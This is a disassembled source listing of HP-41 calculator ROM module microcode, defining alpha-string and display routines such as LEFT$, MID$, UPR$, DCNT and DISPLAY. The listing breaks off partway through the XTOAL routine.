BCEX R<- LB_A121: .con 0x23C ; RCR 2 .con 0x1BE ; A=A-1 MS ; .con 0x3F3 ; GONC -02 LB_A121 A121 gonc LB_A121 .con 0x2F0 ; DATA=C .con 0x198 ; C=M .con 0x266 ; C=C-1 S&X .con 0x366 ; ?A#C S&X ; .con 0x3A7 ; GOC -0C LB_A11C A11C goc LB_A11C .con 0x3E0 ; RTN LB_A12A: .con 0x130 ; LDI 006 .con 0x006 ; .con 0x0AE ; ACEX ALL LB_A12D: .con 0x0EE ; BCEX ALL .con 0x37C ; RCR 12 .con 0x0EA ; BCEX R<- .con 0x0EE ; BCEX ALL .con 0x23C ; RCR 2 .con 0x1A6 ; A=A-1 S&X ; .con 0x3D3 ; GONC -06 LB_A12D A12D gonc LB_A12D .con 0x3E0 ; RTN .con 0x000 ; NOP .con 0x094 ; .con 0x00E ; .con 0x009 ; .NAME "AINT" AINT: .con 0x0F8 ; C=REGN ( 3)X .con 0x070 ; N=C .con 0x361 ; GSUBNC CHK$S 14D8 ; HP41 SYSTEM ROM 1 .con 0x050 ; .con 0x1DD ; GSUBNC INT 1177 ; HP41 SYSTEM ROM 1 .con 0x044 ; .con 0x0EE ; BCEX ALL .con 0x3B8 ; C=REGN (14)d .con 0x070 ; N=C .con 0x05C ; PT= 4 .con 0x010 ; LC 0 .con 0x210 ; LC 8 .con 0x15C ; PT= 6 .con 0x010 ; LC 0 .con 0x3A8 ; REGN=C (14)d .con 0x0A1 ; GSUBNC AFORMT 0628 ; HP41 SYSTEM ROM 0 .con 0x018 ; .con 0x0B0 ; C=N .con 0x3A8 ; REGN=C (14)d .con 0x3E0 ; RTN .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x082 ; .con 0x015 ; .con 0x013 ; .NAME "ASUB" ASUB: .con 0x0E0 ; SELQ .con 0x2DC ; PT= 13 .con 0x0A0 ; SELP .con 0x0F8 ; C=REGN ( 3)X .con 0x10E ; A=C ALL .con 0x27E ; C=C-1 MS .con 0x27E ; C=C-1 MS ; .con 0x047 ; GOC +08 LB_A165 A165 goc LB_A165 .con 0x0AE ; ACEX ALL .con 0x38D ; GSUBNC BCDBIN 02E3 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x2F6 ; ?C#0 XS ; .con 0x037 ; GOC +06 LB_A168 A168 goc LB_A168 .con 0x39C ; PT= 0 ; .con 0x053 ; GONC +0A LB_A16E A16E gonc LB_A16E LB_A165: .con 0x35C ; PT= 12 .con 0x052 ; C=0 P-Q .con 0x2EA ; ?C#0 R<- LB_A168: .con 0x0B5 ; GSUBNC ERRDE 282D ; HP41 SYSTEM ROM 2 .con 0x0A0 ; LB_A16A: .con 0x34D ; GSUBC D3D3 .con 0x34D ; .con 0x2F2 ; ?C#0 P-Q ; .con 0x3EB ; GONC -03 LB_A16A A16A gonc LB_A16A LB_A16E: .con 0x058 ; G=C .con 0x130 ; LDI 005 .con 0x005 ; .con 0x0E6 ; BCEX S&X .con 0x0B8 ; C=REGN ( 2)Y .con 0x38D ; GSUBNC BCDBIN 02E3 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x05A ; C=0 M .con 0x1BC ; RCR 11 .con 0x130 ; LDI 008 .con 0x008 ; .con 0x10E ; A=C ALL .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T .con 0x15C ; PT= 6 .con 0x052 ; C=0 P-Q .con 0x384 ; ST=0 0 LB_A17F: .con 0x394 ; ?PT= 0 ; .con 0x043 ; GONC +08 LB_A188 A188 gonc LB_A188 .con 0x1A6 ; A=A-1 S&X .con 0x326 ; ?A<B S&X ; .con 0x32F ; GOC -1B LB_A168 A168 goc LB_A168 .con 0x0A6 ; ACEX S&X .con 0x106 ; A=C S&X .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T LB_A188: .con 0x3D4 ; DECPT .con 0x3D4 ; DECPT .con 0x38C ; ST=1? 0 ; .con 0x027 ; GOC +04 LB_A18F A18F goc LB_A18F .con 0x2F2 ; ?C#0 P-Q ; .con 0x393 ; GONC -0E LB_A17F A17F gonc LB_A17F .con 0x388 ; ST=1 0 LB_A18F: .con 0x1BA ; A=A-1 M ; .con 0x37B ; GONC -11 LB_A17F A17F gonc LB_A17F .con 0x098 ; C=G .con 0x2F0 ; DATA=C .con 0x3E0 ; RTN .con 0x094 ; .con 0x005 ; .con 0x013 ; .con 0x012 ; .con 0x008 ; .NAME "CHRSET" CHRSET: .con 0x1A0 ; CLRABC .con 0x260 ; SETHEX .con 0x130 ; LDI 03F .con 0x03F ; .con 0x106 ; A=C S&X .con 0x130 ; LDI 010 .con 0x010 ; .con 0x270 ; DADD=C .con 0x130 ; LDI 0FD .con 0x0FD ; .AD=C .con 0x04E ; C=0 ALL .con 0x3E8 ; REGN=C (15)e .con 0x0E6 ; BCEX S&X ; .con 0x349 ; GSB41C LB_A1B2 A1B2 ; GSUBNC 23D2, address in 1st Quad RXQ LB_A1B2 ; .con 0x08C ; ; .con 0x1B2 ; .con 0x130 ; LDI 13F .con 0x13F ; .con 0x106 ; A=C S&X .con 0x130 ; LDI 100 .con 0x100 ; LB_A1B0: .con 0x3E8 ; REGN=C (15)e .con 0x0E6 ; BCEX S&X LB_A1B2: .con 0x130 ; LDI 2FF .con 0x2FF ; .con 0x3CC ; CHKKB ; .con 0x017 ; GOC +02 LB_A1B7 A1B7 goc LB_A1B7 .con 0x1E6 ; C=C+C S&X LB_A1B7: .con 0x3C8 ; RSTKB LB_A1B8: .con 0x266 ; C=C-1 S&X ; .con 0x3FB ; GONC -01 LB_A1B8 A1B8 gonc LB_A1B8 .con 0x0E6 ; BCEX S&X .con 0x226 ; C=C+1 S&X .con 0x306 ; ?A<C S&X ; .con 0x39B ; GONC -0D LB_A1B0 A1B0 gonc LB_A1B0 .con 0x3E0 ; RTN .con 0x0BF ; .con 0x014 ; .con 0x00E ; .con 0x003 ; .NAME "DCNT?" DCNT?: .con 0x130 ; LDI 010 .con 0x010 ; .con 0x270 ; DADD=C .AD=C .con 0x178 ; C=REGN ( 5)M .con 0x0A6 ; ACEX S&X .con 0x149 ; GSUBNC ENCP00 0952 ; HP41 SYSTEM ROM 0 .con 0x024 ; .con 0x130 ; LDI 00A .con 0x00A ; .con 0x02E ; B=0 ALL .con 0x306 ; ?A<C S&X ; .con 0x02F ; GOC +05 LB_A1D5 A1D5 goc LB_A1D5 .con 0x130 ; LDI 006 .con 0x006 ; .con 0x146 ; A=A+C S&X .con 0x086 ; B=A S&X LB_A1D5: .con 0x0A6 ; ACEX S&X .con 0x23C ; RCR 2 .con 0x2C6 ; ?B#0 S&X ; .con 0x01B ; GONC +03 LB_A1DB A1DB gonc LB_A1DB .con 0x33C ; RCR 1 .con 0x226 ; C=C+1 S&X LB_A1DB: .con 0x0E8 ; REGN=C ( 3)X .con 0x3E0 ; RTN .con 0x094 ; .con 0x00E ; .con 0x003 ; .NAME "DCNT" DCNT: .con 0x0F8 ; C=REGN ( 3)X .con 0x38D ; GSUBNC BCDBIN 02E3 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x0A6 ; ACEX S&X .con 0x130 ; LDI 010 .con 0x010 ; .con 0x306 ; ?A<C S&X ; .con 0x01F ; GOC +03 LB_A1EB A1EB goc LB_A1EB .con 0x0B5 ; GOLNC ERRDE 282D ; HP41 SYSTEM ROM 2 .con 0x0A2 ; LB_A1EB: .con 0x270 ; DADD=C .AD=C .con 0x0A6 ; ACEX S&X .con 0x168 ; REGN=C ( 5)M .con 0x3E0 ; RTN .con 0x0AB ; .con 0x014 ; .con 0x00E ; .con 0x003 ; .NAME "DCNT+" DCNT+: .con 0x130 ; LDI 010 .con 0x010 ; .con 0x270 ; DADD=C .AD=C .con 0x266 ; C=C-1 S&X .con 0x106 ; A=C S&X .con 0x178 ; C=REGN ( 5)M .con 0x0A6 ; ACEX S&X .con 0x306 ; ?A<C S&X .con 0x3A0 ; RTNNC .con 0x0A6 ; ACEX S&X .con 0x226 ; C=C+1 S&X .con 0x168 ; REGN=C ( 5)M .con 0x3E0 ; RTN .con 0x0AD ; .con 0x014 ; .con 0x00E ; .con 0x003 ; .NAME "DCNT-" DCNT-: .con 0x130 ; LDI 010 .con 0x010 ; .con 0x270 ; DADD=C .AD=C .con 0x178 ; C=REGN ( 5)M .con 0x2E6 ; ?C#0 S&X .con 0x3A0 ; RTNNC .con 0x266 ; C=C-1 S&X .con 0x168 ; REGN=C ( 5)M .con 0x3E0 ; RTN .con 0x000 ; NOP .con 0x000 ; NOP .con 0x094 ; .con 0x013 ; .con 0x005 ; .con 0x014 ; .NAME "DTEST" DTEST: .con 0x3C1 ; GSUBNC CLLCDE 2CF0 ; HP41 SYSTEM ROM 2 .con 0x0B0 ; .con 0x19C ; PT= 11 LB_A21C: .con 0x390 ; LC E .con 0x010 ; LC 0 .con 0x2D4 ; ?PT= 13 ; .con 0x3EB ; GONC -03 LB_A21C A21C gonc LB_A21C .con 0x0E8 ; REGN=C ( 3)X .con 0x0E8 ; REGN=C ( 3)X .con 0x046 ; C=0 S&X .con 0x2A6 ; C=-C-1 S&X LB_A224: .con 0x266 ; C=C-1 S&X ; .con 0x3FB ; GONC -01 LB_A224 A224 gonc LB_A224 .con 0x19C ; PT= 11 LB_A227: .con 0x2D0 ; LC B .con 0x290 ; LC A .con 0x2D4 ; ?PT= 13 ; .con 0x3EB ; GONC -03 LB_A227 A227 gonc LB_A227 .con 0x0E8 ; REGN=C ( 3)X .con 0x0E8 ; REGN=C ( 3)X .con 0x046 ; C=0 S&X .con 0x2A6 ; C=-C-1 S&X .con 0x2F0 ; DATA=C .con 0x046 ; C=0 S&X .AD=C .con 0x1FD ; GSUBNC 037F .con 0x00C ; .con 0x060 ; POWOFF .con 0x000 ; NOP .con 0x3E0 ; RTN .con 0x0A4 ; .con 0x014 ; .con 0x006 ; .con 0x005 ; .NAME "LEFT$" LEFT$: .con 0x248 ; ST=1 9 ; .con 0x043 ; GONC +08 LB_A245 A245 gonc LB_A245 .con 0x0A4 ; .con 0x014 ; .con 0x008 ; .con 0x007 ; .con 0x009 ; .NAME "RIGHT$" RIGHT$: .con 0x244 ; ST=0 9 LB_A245: .con 0x130 ; LDI 341 .con 0x341 ; .con 0x1F6 ; C=C+C XS .con 0x001 ; GSUBNC GTRMAD 0800 ; HP41 SYSTEM ROM 0 .con 0x020 ; .con 0x381 ; GSUBNC ERRNE 02E0 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x0AE ; ACEX ALL .con 0x39C ; PT= 0 .con 0x390 ; LC E .con 0x2F1 ; GSUBNC 2FBC .con 0x0BC ; .con 0x086 ; B=A S&X .con 0x0F8 ; C=REGN ( 3)X .con 0x01E ; A=0 MS .con 0x17E ; A=A+1 MS .con 0x31E ; ?A<C MS .con 0x0B5 ; GSUBC ERRDE 282D ; HP41 SYSTEM ROM 2 .con 0x0A1 ; .con 0x38D ; GSUBNC BCDBIN 02E3 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x066 ; ABEX S&X .con 0x1C6 ; A=A-C S&X .con 0x360 ; RTNC .con 0x346 ; ?A#0 S&X .con 0x3A0 ; RTNNC .con 0x0AE ; ACEX ALL .con 0x158 ; M=C .con 0x130 ; LDI 191 .con 0x191 ; .con 0x24C ; ST=1? 9 ; .con 0x01B ; GONC +03 LB_A267 A267 gonc LB_A267 .con 0x130 ; LDI 19D .con 0x19D ; LB_A267: .con 0x001 ; GSUBNC GTRMAD 0800 ; HP41 SYSTEM ROM 0 .con 0x020 ; .con 0x381 ; GSUBNC ERRNE 02E0 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x0AE ; ACEX ALL .con 0x070 ; N=C LB_A26D: .con 0x0B0 ; C=N .con 0x2F1 ; GSUBNC 2FBC .con 0x0BC ; .con 0x198 ; C=M .con 0x266 ; C=C-1 S&X .con 0x2E6 ; ?C#0 S&X .con 0x3A0 ; RTNNC .con 0x158 ; M=C ; .con 0x3C3 ; GONC -08 LB_A26D A26D gonc LB_A26D .con 0x098 ; .con 0x00F ; .con 0x014 ; .con 0x001 ; .NAME "RATOX" RATOX: .con 0x108 ; ST=1 8 ; .con 0x03B ; GONC +07 LB_A283 A283 gonc LB_A283 .con 0x08C ; .con 0x005 ; .con 0x004 ; .con 0x001 ; .NAME "RADEL" RADEL: .con 0x104 ; ST=0 8 LB_A283: .con 0x31C ; PT= 1 .con 0x238 ; C=REGN ( 8)P .con 0x0AA ; ACEX R<- .con 0x17C ; RCR 6 .con 0x04A ; C=0 R<- .con 0x0FC ; RCR 10 .con 0x228 ; REGN=C ( 8)P .con 0x1F8 ; C=REGN ( 7)O .con 0x0AA ; ACEX R<- .con 0x23C ; RCR 2 .con 0x1E8 ; REGN=C ( 7)O .con 0x1B8 ; C=REGN ( 6)N .con 0x0AA ; ACEX R<- .con 0x23C ; RCR 2 .con 0x1A8 ; REGN=C ( 6)N .con 0x178 ; C=REGN ( 5)M .con 0x0AA ; ACEX R<- .con 0x23C ; RCR 2 .con 0x168 ; REGN=C ( 5)M .con 0x10C ; ST=1? 8 .con 0x3A0 ; RTNNC .con 0x0AE ; ACEX ALL .con 0x158 ; M=C .con 0x130 ; LDI 347 .con 0x347 ; .con 0x1F6 ; C=C+C XS .con 0x001 ; GSUBNC GTRMAD 0800 ; HP41 SYSTEM ROM 0 .con 0x020 ; .con 0x381 ; GSUBNC ERRNE 02E0 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x04E ; C=0 ALL .con 0x15C ; PT= 6 .con 0x110 ; LC 4 .con 0x0EE ; BCEX ALL .con 0x04E ; C=0 ALL .con 0x15C ; PT= 6 .con 0x130 ; LDI 00D .con 0x00D ; .con 0x20E ; C=A+C ALL .con 0x1BC ; RCR 11 .con 0x0AE ; ACEX ALL .con 0x322 ; ?A<B @R ; .con 0x01F ; GOC +03 LB_A2B0 A2B0 goc LB_A2B0 .con 0x01C ; PT= 3 .con 0x162 ; A=A+1 @R LB_A2B0: .con 0x198 ; C=M .con 0x0AE ; ACEX ALL .con 0x1E0 ; GOTOC .con 0x08C ; .con 0x005 ; .con 0x004 ; .con 0x001 ; .NAME "LADEL" LADEL: .con 0x130 ; LDI 005 .con 0x005 ; .con 0x106 ; A=C S&X .con 0x130 ; LDI 008 .con 0x008 ; .con 0x39C ; PT= 0 .con 0x058 ; G=C .con 0x0E0 ; SELQ .con 0x09C ; PT= 5 .con 0x0A0 ; SELP .con 0x05C ; PT= 4 .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T LB_A2C5: .con 0x2F2 ; ?C#0 P-Q ; .con 0x023 ; GONC +04 LB_A2CA A2CA gonc LB_A2CA .con 0x052 ; C=0 P-Q .con 0x2F0 ; DATA=C .con 0x3E0 ; RTN LB_A2CA: .con 0x394 ; ?PT= 0 ; .con 0x047 ; GOC +08 LB_A2D3 A2D3 goc LB_A2D3 LB_A2CC: .con 0x0E0 ; SELQ .con 0x3D4 ; DECPT .con 0x3D4 ; DECPT .con 0x0A0 ; SELP .con 0x3D4 ; DECPT .con 0x3D4 ; DECPT ; .con 0x39B ; GONC -0D LB_A2C5 A2C5 gonc LB_A2C5 LB_A2D3: .con 0x098 ; C=G .con 0x372 ; ?A#C P-Q .con 0x3A0 ; RTNNC .con 0x272 ; C=C-1 P-Q .con 0x058 ; G=C .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T ; .con 0x393 ; GONC -0E LB_A2CC A2CC gonc LB_A2CC .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x000 ; NOP .con 0x087 ; .con 0x012 ; .con 0x020 ; .con 0x001 ; .con 0x008 ; .con 0x010 ; .con 0x00C ; .con 0x001 ; .NAME "-ALPHA -ALPHA_RG: .con 0x0F8 ; C=REGN ( 3)X .con 0x05E ; C=0 MS .con 0x23E ; C=C+1 MS .con 0x0E8 ; REGN=C ( 3)X .con 0x3E0 ; RTN .con 0x099 ; .con 0x001 ; .con 0x00C ; .con 0x010 ; .con 0x013 ; .con 0x009 ; .con 0x004 ; .NAME "-DISPLAY" -DISPLAY: .con 0x3E0 ; RTN LB_A2F7: .con 0x25D ; GSUBNC LDSST0 0797 ; HP41 SYSTEM ROM 0 .con 0x01C ; .con 0x27C ; RCR 9 .con 0x1FE ; C=C+C MS .con 0x360 ; RTNC .con 0x108 ; ST=1 8 .con 0x2E0 ; DISOFF .con 0x211 ; GOLNC 1C84 .con 0x072 ; .con 0x104 ; ST=0 8 .con 0x2CC ; ST=1? 13 ; .con 0x027 ; GOC +04 LB_A306 A306 goc LB_A306 .con 0x04C ; ST=1? 4 ; .con 0x017 ; GOC +02 LB_A306 A306 goc LB_A306 .con 0x108 ; ST=1 8 LB_A306: .con 0x1A0 ; CLRABC .con 0x158 ; M=C .con 0x070 ; N=C .con 0x141 ; GSUBNC GETPC 2950 ; HP41 SYSTEM ROM 2 .con 0x0A4 ; LB_A30B: .con 0x01D ; GSUBNC NXTBYT 2D07 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; .con 0x056 ; C=0 XS .con 0x2E6 ; ?C#0 S&X ; .con 0x3E3 ; GONC -04 LB_A30B A30B gonc LB_A30B .con 0x23C ; RCR 2 .con 0x23E ; C=C+1 MS ; .con 0x0AB ; GONC +15 LB_A327 A327 gonc LB_A327 .con 0x2FC ; RCR 13 .con 0x11E ; A=C MS .con 0x08E ; B=A ALL ; .con 0x063 ; GONC +0C LB_A322 A322 gonc LB_A322 LB_A317: .con 0x01D ; GSUBNC NXTBYT 2D07 ; HP41 SYSTEM ROM 2 .con 0x0B4 ; .con 0x3D8 ; CSTEX .con 0x1D8 ; CMEX .con 0x37C ; RCR 12 .con 0x3D8 ; CSTEX .con 0x1D8 ; CMEX .con 0x0F0 ; CNEX .con 0x37C ; RCR 12 .con 0x3D8 ; CSTEX .con 0x0F0 ; CNEX LB_A322: .con 0x1BE ; A=A-1 MS ; .con 0x3A3 ; GONC -0C LB_A317 A317 gonc LB_A317 .con 0x10C ; ST=1? 8 .con 0x0BD ; GSUBNC PUTPCX 232F ; HP41 SYSTEM ROM 2 .con 0x08C ; LB_A327: .con 0x2DC ; PT= 13 .con 0x1D0 ; LC 7 .con 0x11E ; A=C MS .con 0x04E ; C=0 ALL .con 0x270 ; DADD=C .con 0x3E0 ; RTN .con 0x0A4 ; .con 0x017 ; .con 0x00F ; .NAME "LOW$" LOW$: .con 0x108 ; ST=1 8 ; .con 0x033 ; GONC +06 LB_A338 A338 gonc LB_A338 .con 0x0A4 ; .con 0x012 ; .con 0x010 ; .NAME "UPR$" UPR$: .con 0x104 ; ST=0 8 LB_A338: .con 0x130 ; LDI 004 .con 0x004 ; LB_A33A: .con 0x226 ; C=C+1 S&X .con 0x270 ; DADD=C .con 0x0E6 ; BCEX S&X .con 0x29C ; PT= 7 .con 0x038 ; C=REGN ( 0)T LB_A33F: .con 0x358 ; ST=C .con 0x284 ; ST=0 7 .con 0x398 ; C=ST .con 0x0A6 ; ACEX S&X .con 0x130 ; LDI 060 .con 0x060 ; .con 0x10C ; ST=1? 8 ; .con 0x01F ; GOC +03 LB_A349 A349 goc LB_A349 .con 0x130 ; LDI 07B .con 0x07B ; LB_A349: .con 0x216 ; C=A+C XS .con 0x306 ; ?A<C S&X ; .con 0x073 ; GONC +0E LB_A359 A359 gonc LB_A359 .con 0x046 ; C=0 S&X .con 0x10C ; ST=1? 8 ; .con 0x01F ; GOC +03 LB_A351 A351 goc LB_A351 .con 0x130 ; LDI 060 .con 0x060 ; LB_A351: .con 0x0A6 ; ACEX S&X .con 0x116 ; A=C XS .con 0x306 ; ?A<C S&X ; .con 0x02B ; GONC +05 LB_A359 A359 gonc LB_A359 .con 0x088 ; ST=1 5 .con 0x10C ; ST=1? 8 ; .con 0x017 ; GOC +02 LB_A359 A359 goc LB_A359 .con 0x084 ; ST=0 5 LB_A359: .con 0x398 ; C=ST .con 0x23C ; RCR 2 .con 0x3DC ; INCPT .con 0x394 ; ?PT= 0 ; .con 0x313 ; GONC -1E LB_A33F A33F gonc LB_A33F .con 0x2F0 ; DATA=C .con 0x0C6 ; C=B S&X .con 0x358 ; ST=C .con 0x00C ; ST=1? 3 ; .con 0x2C3 ; GONC -28 LB_A33A A33A gonc LB_A33A .con 0x2CC ; ST=1? 13 .con 0x360 ; RTNC .con 0x3B8 ; C=REGN (14)d .con 0x358 ; ST=C .con 0x04C ; ST=1? 4 .con 0x360 ; RTNC .con 0x191 ; GOLNC XAVIEW 0364 ; HP41 SYSTEM ROM 0 .con 0x00E ; .con 0x092 ; .con 0x005 ; .con 0x01A ; .con 0x00D ; .con 0x005 ; .NAME "REMZER" REMZER: .con 0x1A0 ; CLRABC .con 0x130 ; LDI 005 .con 0x005 ; .con 0x0E6 ; BCEX S&X .con 0x2DC ; PT= 13 LB_A376: .con 0x0D0 ; LC 3 .con 0x3D4 ; DECPT .con 0x2D4 ; ?PT= 13 ; .con 0x3EB ; GONC -03 LB_A376 A376 gonc LB_A376 .con 0x0AE ; ACEX ALL .con 0x130 ; LDI 008 .con 0x008 ; .con 0x39C ; PT= 0 .con 0x058 ; G=C .con 0x0E0 ; SELQ .con 0x09C ; PT= 5 .con 0x0A0 ; SELP .con 0x05C ; PT= 4 .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T LB_A385: .con 0x372 ; ?A#C P-Q ; .con 0x02B ; GONC +05 LB_A38B A38B gonc LB_A38B .con 0x2F2 ; ?C#0 P-Q ; .con 0x023 ; GONC +04 LB_A38C A38C gonc LB_A38C .con 0x2F0 ; DATA=C .con 0x3E0 ; RTN LB_A38B: .con 0x052 ; C=0 P-Q LB_A38C: .con 0x394 ; ?PT= 0 ; .con 0x047 ; GOC +08 LB_A395 A395 goc LB_A395 LB_A38E: .con 0x0E0 ; SELQ .con 0x3D4 ; DECPT .con 0x3D4 ; DECPT .con 0x0A0 ; SELP .con 0x3D4 ; DECPT .con 0x3D4 ; DECPT ; .con 0x38B ; GONC -0F LB_A385 A385 gonc LB_A385 LB_A395: .con 0x2F0 ; DATA=C .con 0x098 ; C=G .con 0x06E ; ABEX ALL .con 0x372 ; ?A#C P-Q .con 0x3A0 ; RTNNC .con 0x06E ; ABEX ALL .con 0x272 ; C=C-1 P-Q .con 0x058 ; G=C .con 0x270 ; DADD=C .con 0x038 ; C=REGN ( 0)T ; .con 0x37B ; GONC -11 LB_A38E A38E gonc LB_A38E .con 0x099 ; .con 0x001 ; .con 0x00C ; .con 0x010 ; .con 0x013 ; .con 0x009 ; .NAME "DISPLAY" DISPLAY: .con 0x3E9 ; GSUBNC GSB768 23FA ; HP41 SYSTEM ROM 2 .con 0x08C ; .con 0x07E ; ABEX MS .con 0x1BE ; A=A-1 MS ; .con 0x11B ; GONC +23 LB_A3CE A3CE gonc LB_A3CE ; .con 0x391 ; GSB41C LB_A900 A900 ; GSUBNC 23E4, address in 3rd Quad RXQ LB_A900 ; .con 0x08C ; ; .con 0x100 ; .con 0x2EE ; ?C#0 ALL .con 0x3A0 ; RTNNC .con 0x130 ; LDI 00B .con 0x00B ; .con 0x0A6 ; ACEX S&X .con 0x0CE ; C=B ALL .con 0x07C ; RCR 4 .con 0x306 ; ?A<C S&X ; .con 0x013 ; GONC +02 LB_A3B9 A3B9 gonc LB_A3B9 .con 0x0A6 ; ACEX S&X LB_A3B9: .con 0x33C ; RCR 1 .con 0x06E ; ABEX ALL .con 0x0BE ; ACEX MS .con 0x08E ; B=A ALL .con 0x01C ; PT= 3 LB_A3BE: .con 0x2ED ; GSUBNC GTBYTA 29BB ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x3D8 ; CSTEX .con 0x1D8 ; CMEX .con 0x37C ; RCR 12 .con 0x3D8 ; CSTEX .con 0x1D8 ; CMEX .con 0x0F0 ; CNEX .con 0x37C ; RCR 12 .con 0x3D8 ; CSTEX .con 0x0F0 ; CNEX .con 0x359 ; GSUBNC INCADA 29D6 ; HP41 SYSTEM ROM 2 .con 0x0A4 ; .con 0x1BE ; A=A-1 MS ; .con 0x393 ; GONC -0E LB_A3BE A3BE gonc LB_A3BE .con 0x06E ; ABEX ALL LB_A3CE: .con 0x3C1 ; GSUBNC CLLCDE 2CF0 ; HP41 SYSTEM ROM 2 .con 0x0B0 ; .con 0x2E0 ; DISOFF LB_A3D1: .con 0x0F0 ; CNEX .con 0x3D8 ; CSTEX .con 0x23C ; RCR 2 .con 0x0F0 ; CNEX .con 0x1D8 ; CMEX .con 0x3D8 ; CSTEX .con 0x23C ; RCR 2 .con 0x1D8 ; CMEX .con 0x04E ; C=0 ALL .con 0x28C ; ST=1? 7 ; .con 0x0B7 ; GOC +16 LB_A3F1 A3F1 goc LB_A3F1 .con 0x14C ; ST=1? 6 ; .con 0x05F ; GOC +0B LB_A3E8 A3E8 goc LB_A3E8 .con 0x08C ; ST=1? 5 ; .con 0x097 ; GOC +12 LB_A3F1 A3F1 goc LB_A3F1 .con 0x04C ; ST=1? 4 ; .con 0x01F ; GOC +03 LB_A3E4 A3E4 goc LB_A3E4 .con 0x048 ; ST=1 4 ; .con 0x013 ; GONC +02 LB_A3E5 A3E5 gonc LB_A3E5 LB_A3E4: .con 0x044 ; ST=0 4 LB_A3E5: .con 0x088 ; ST=1 5 .con 0x148 ; ST=1 6 ; .con 0x053 ; GONC +0A LB_A3F1 A3F1 gonc LB_A3F1 LB_A3E8: .con 0x144 ; ST=0 6 .con 0x08C ; ST=1? 5 ; .con 0x03B ; GONC +07 LB_A3F1 A3F1 gonc LB_A3F1 .con 0x04C ; ST=1? 4 ; .con 0x01B ; GONC +03 LB_A3EF A3EF gonc LB_A3EF .con 0x288 ; ST=1 7 .con 0x044 ; ST=0 4 LB_A3EF: .con 0x084 ; ST=0 5 .con 0x236 ; C=C+1 XS LB_A3F1: .con 0x398 ; C=ST .con 0x3A8 ; REGN=C (14)d .con 0x1BE ; A=A-1 MS ; .con 0x2EB ; GONC -23 LB_A3D1 A3D1 gonc LB_A3D1 .con 0x320 ; DISTOG ; .con 0x369 ; GOL41C LB_A2F7 A2F7 ; GSUBNC 0FDA, address in same Quad RGO LB_A2F7 ; .con 0x03C ; ; .con 0x2F7 ; .con 0x0A4 ; .con 0x004 ; .con 0x009 ; .NAME "MID$" MID$: .con 0x0F8 ; C=REGN ( 3)X .con 0x01E ; A=0 MS .con 0x17E ; A=A+1 MS .con 0x31E ; ?A<C MS .con 0x0B5 ; GSUBC ERRDE 282D ; HP41 SYSTEM ROM 2 .con 0x0A1 ; .con 0x0B8 ; C=REGN ( 2)Y .con 0x31E ; ?A<C MS .con 0x0B5 ; GSUBC ERRDE 282D ; HP41 SYSTEM ROM 2 .con 0x0A1 ; .con 0x10E ; A=C ALL .con 0x0F8 ; C=REGN ( 3)X .con 0x355 ; GSUBNC 14D5 .con 0x050 ; .con 0x34E ; ?A#0 ALL .con 0x345 ; GOLNC CLA 10D1 ; HP41 SYSTEM ROM 1 .con 0x042 ; .con 0x260 ; SETHEX .con 0x130 ; LDI 341 .con 0x341 ; .con 0x1F6 ; C=C+C XS .con 0x001 ; GSUBNC GTRMAD 0800 ; HP41 SYSTEM ROM 0 .con 0x020 ; .con 0x381 ; GSUBNC ERRNE 02E0 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x0AE ; ACEX ALL .con 0x39C ; PT= 0 .con 0x390 ; LC E .con 0x2F1 ; GSUBNC 2FBC .con 0x0BC ; .con 0x346 ; ?A#0 S&X .con 0x3A0 ; RTNNC .con 0x086 ; B=A S&X .con 0x0B8 ; C=REGN ( 2)Y .con 0x38D ; GSUBNC BCDBIN 02E3 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x066 ; ABEX S&X .con 0x226 ; C=C+1 S&X .con 0x306 ; ?A<C S&X .con 0x345 ; GOLC CLA 10D1 ; HP41 SYSTEM ROM 1 .con 0x043 ; LB_A426: .con 0x266 ; C=C-1 S&X .con 0x2E6 ; ?C#0 S&X ; .con 0x063 ; GONC +0C LB_A434 A434 gonc LB_A434 .con 0x158 ; M=C .con 0x130 ; LDI 191 .con 0x191 ; .con 0x001 ; GSUBNC GTRMAD 0800 ; HP41 SYSTEM ROM 0 .con 0x020 ; .con 0x381 ; GSUBNC ERRNE 02E0 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x2ED ; GSUBNC 2FBB .con 0x0BC ; .con 0x198 ; C=M ; .con 0x39B ; GONC -0D LB_A426 A426 gonc LB_A426 LB_A434: .con 0x130 ; LDI 194 .con 0x194 ; .con 0x001 ; GSUBNC GTRMAD 0800 ; HP41 SYSTEM ROM 0 .con 0x020 ; .con 0x381 ; GSUBNC ERRNE 02E0 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x2ED ; GSUBNC 2FBB .con 0x0BC ; .con 0x3C1 ; GOLNC NFRPU 00F0 ; HP41 SYSTEM ROM 0 .con 0x002 ; .con 0x08C ; .con 0x001 ; .con 0x00F ; .con 0x014 ; .NAME "XTOAL" XTOAL: .con 0x0F8 ; C=REGN ( 3)X .con 0x38D ; GSUBNC BCDBIN 02E3 ; HP41 SYSTEM ROM 0 .con 0x008 ; .con 0x158 ; M=C .con 0x01C ; PT= 3 .con 0x190 ; LC 6 .con 0x130 ; LDI 008 .con 0x008 ; .con 0x10E ; A=C ALL .con 0x130 ; LDI 01B .con 0x01B ; .con 0x070 ; N=C .con 0x01C ; PT= 3 LB_A450: .con 0x0B0 ; C=N .con 0x266 ; C=C-1 S&X ; .con 0x04F ; GOC +09 LB_A45B A45B goc LB_A45B .con 0x070 ; N=C .con 0x2E5 ; GSUBNC NXBYTA 29B9 ; HP41 SYSTEM ROM 2 .con 